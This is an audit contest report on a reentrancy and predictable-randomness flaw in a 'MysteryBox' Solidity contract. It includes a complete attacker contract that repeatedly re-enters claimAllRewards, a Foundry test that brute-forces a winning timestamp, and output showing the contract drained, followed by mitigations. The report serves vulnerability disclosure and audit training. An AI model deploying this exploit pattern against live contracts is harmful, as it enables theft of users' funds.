Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy vulnerability in MysteryBox::claimAllRewards allows an attacker to steal funds.

Description
The function MysteryBox::claimAllRewards is vulnerable to reentracy attacks.
The attack in this report exploits the following vulnerabilities in the protocol:

  • The predicability of the random number used to select a reward.

  • The lack of any reentrancy guard when claiming rewards.

  • The Checks Effects and Interactions (CEI) pattern is not used.

Impact
Using this attack funds can be stolen from the protocol.

Preconditions for running POC.

  • Install the openzeppelin library using the command shown below.

  • Add the SimpleAttacker.sol to the project in the src directory.

  • Add the Unit Test file to the test directory.

  • Install the openzeppelin library which is used in the file SimpleAttacker.sol. Using the following command should do it.

forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit

Proof of Concept
File: SimpleAttacker.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import {console} from "forge-std/Test.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {MysteryBox} from "./MysteryBox.sol";
/**
Need to run this to install the relevant library for the attack
forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit
*/
contract SimpleAttacker is IERC721Receiver {
MysteryBox victim;
uint256 boxPrice = 0.1 ether; // hardcoded is find fine attack POC
bool hasReward = false;
uint256 rewardValue;
uint256 constant CALL_LIMIT=500;
uint256 callCount;
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
// Note: We need to call this with some eth so we can buy boxes
// until we get a reward
// when we have one reward we can reclaim that single reward
// over and over using
// a reentrancy attack.
constructor(MysteryBox _victim) payable {
victim = _victim;
}
// call the attack function on our contract to get the ball rolling.
function attack() public {
console.log("Attack called...");
while ( hasReward == false && address(victim).balance >= boxPrice ) {
//buy a box
victim.buyBox{value: boxPrice}();
// open box to get a reward
// if we have predicted the random value we'll have one box
// and one reward .5 eth
// otherwise we'll need to loop until we get a reward and then
// start the re-entrant calls
// luckly the random function is easy to predict - see test case
victim.openBox();
uint256 last = victim.getRewards().length - 1;
rewardValue = victim.getRewards()[last].value;
console.log("Our reward value is: %s", rewardValue );
// if we have a reward we'll use it to try and steal as
// much from the victim contract as we can.
if ( rewardValue > 0 ){
hasReward = true;
}
}
if ( hasReward ){
// always get the last reward and then re-enter
// (the victim contract will call our receive function below)
// victim.claimSingleReward(victim.getRewards().length - 1);
// Note: also re-entrant function
victim.claimAllRewards();
}
}
receive() external payable {
// once we have received one reward we can use it to drain the
// victim contract
hasReward = true;
bool notYetDrained = address(victim).balance >= rewardValue;
// CALL_LIMIT controls this call depth/number of calls made.
// This is just to stop us running out of gas which would cause
// everything to revert/unwind.
// It's only really needed for the claimAllRewards variant or
// if we have a very small reward, and a large victim balance.
// It's also useful for when we have to brute force winning a
// reward, which will increase the gas cost, that is we might
// need to buy a many boxes in order to get a reward.
callCount = callCount + 1;
// reenter until it's all gone or we hit the call limit.
if ( notYetDrained && callCount < CALL_LIMIT ) {
// always get the last reward and then re-enter
// (the victim contract will call our receive function below)
// victim.claimSingleReward(victim.getRewards().length - 1);
// Note: also re-entrant function
victim.claimAllRewards();
}
}
}

Standalone test file: TestMysteryBoxRentrancySimple.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
import "../src/SimpleAttacker.sol";
contract MysteryBoxReentrantcySimpleTest is Test {
MysteryBox public mysteryBox;
address public owner;
SimpleAttacker attacker;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 1000 ether);
vm.prank(owner);
//seed the mysterybox (the victim) with 100 ether
mysteryBox = new MysteryBox{value: 100 ether }();
// credit the attacker with 1 ether so they can buy some boxes.
attacker = new SimpleAttacker{value: 1 ether}(mysteryBox);
}
function testAttackerAtTimestampSimple() public {
// timestamp generated from the testRandom function below.
// generates a value of 98 as the block.timestamp (for the
// "random" number) so we'll get a reward.
uint256 timestamp = 1785601;
vm.warp(timestamp);
// get the balances before the attack
uint256 victimStartBalance = address(mysteryBox).balance;
uint256 attackerStartBalance = address(attacker).balance;
// start the attack
attacker.attack();
//get the balances after the attack
uint256 victimEndBalance = address(mysteryBox).balance;
uint256 attackerEndBalance = address(attacker).balance;
console.log("");
console2.log("Starting Victim balance: %s", victimStartBalance);
console2.log("Final Victim balance: %s", victimEndBalance);
console.log("");
console2.log("Starting Attacker balance: %s", attackerStartBalance);
console2.log("Final Attacker balance: %s", attackerEndBalance);
console2.log("Funds stolen: %s Wei (~263,942.82 USD)", victimStartBalance - victimEndBalance);
assert(attackerStartBalance < victimStartBalance);
assert(attackerEndBalance > victimEndBalance);
}
// figure out which timestamp gives us a good result (random lol)
function testRandom() public view {
uint256 ts = block.timestamp;
uint256 randomValue = uint256(keccak256(abi.encodePacked(ts,
address(attacker)))) % 100;
for (uint256 index = 0; index < 100; index++) {
ts += ((60 * 60) * index);
randomValue = uint256(keccak256(abi.encodePacked(ts,
address(attacker)))) % 100;
console2.log("%s randomValue is %s %s", index, randomValue, ts);
}
}
}

Run the exploit

forge test --mt testAttackerAtTimestampSimple -vvv
[⠆] Compiling...
[⠰] Compiling 2 files with 0.8.20
[⠔] Solc 0.8.20 finished in 3.11s
Compiler run successful!
Ran 1 test for test/TestMysteryBoxRentrancySimple.t.sol:MysteryBoxReentrantcySimpleTest
[PASS] testAttackerAtTimestampSimple() (gas: 2132747)
Logs:
Attack called...
Our reward value is: 500000000000000000
Starting Victim balance: 100000000000000000000
Final Victim balance: 100000000000000000
Starting Attacker balance: 1000000000000000000
Final Attacker balance: 100900000000000000000
Funds stolen: 99900000000000000000 Wei (~263,942.82 USD)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.82ms (16.54ms CPU time)
Ran 1 test suite in 401.79ms (17.82ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended mitigation(s)

  • Adopt openzepplin libraries that include reentrancy guards.

  • Adopt CEI pattern (see solidity security docs for a description).

  • Use a random number generator that does not allow numbers to be predicted.

References
https://docs.soliditylang.org/en/latest/security-considerations.html

Tools Used

  • Foundry

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!